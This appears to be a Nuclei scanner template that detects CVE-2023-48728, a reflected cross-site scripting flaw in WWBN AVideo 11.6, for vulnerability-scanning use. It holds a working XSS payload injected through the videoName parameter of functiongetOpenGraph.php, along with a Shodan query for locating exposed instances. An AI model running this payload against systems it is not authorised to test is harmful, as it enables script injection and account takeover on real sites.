id: CVE-2023-48728

info:
  name: WWBN AVideo 11.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A reflected XSS vulnerability exists in the functiongetOpenGraph videoName functionality of WWBN AVideo 11.6 and dev master commit 3c6bb3ff, allowing arbitrary Javascript execution.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive information or account takeover.
  remediation: |
    Sanitize and validate user input to prevent XSS attacks.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2023-1883
    - https://nvd.nist.gov/vuln/detail/CVE-2023-48728
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-48728
    cwe-id: CWE-79
    epss-score: 0.17352
    epss-percentile: 0.95144
    cpe: cpe:2.3:a:wwbn:avideo:3c6bb3ff:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wwbn
    product: avideo
    shodan-query: html:"AVideo"
  tags: cve,cve2023,avideo,xss,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/objects/functiongetOpenGraph.php?videoName=123+--><script>alert(document.domain)</script>"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<script>alert(document.domain)</script>", "OpenGraph no video")'
          - 'status_code == 200 || status_code == 500'
          - 'contains(header, "text/html")'
        condition: and
# digest: 4a0a00473045022100c44f1eb6429bc65111b50c1e64928f3cb51f722f1bb573d5da62c819e6dec7e2022064be439ad37fd892a8489c51e97c865832d18006630284e1d0f1e6581fdb9736:922c64590222798bb761d5b6d8e72950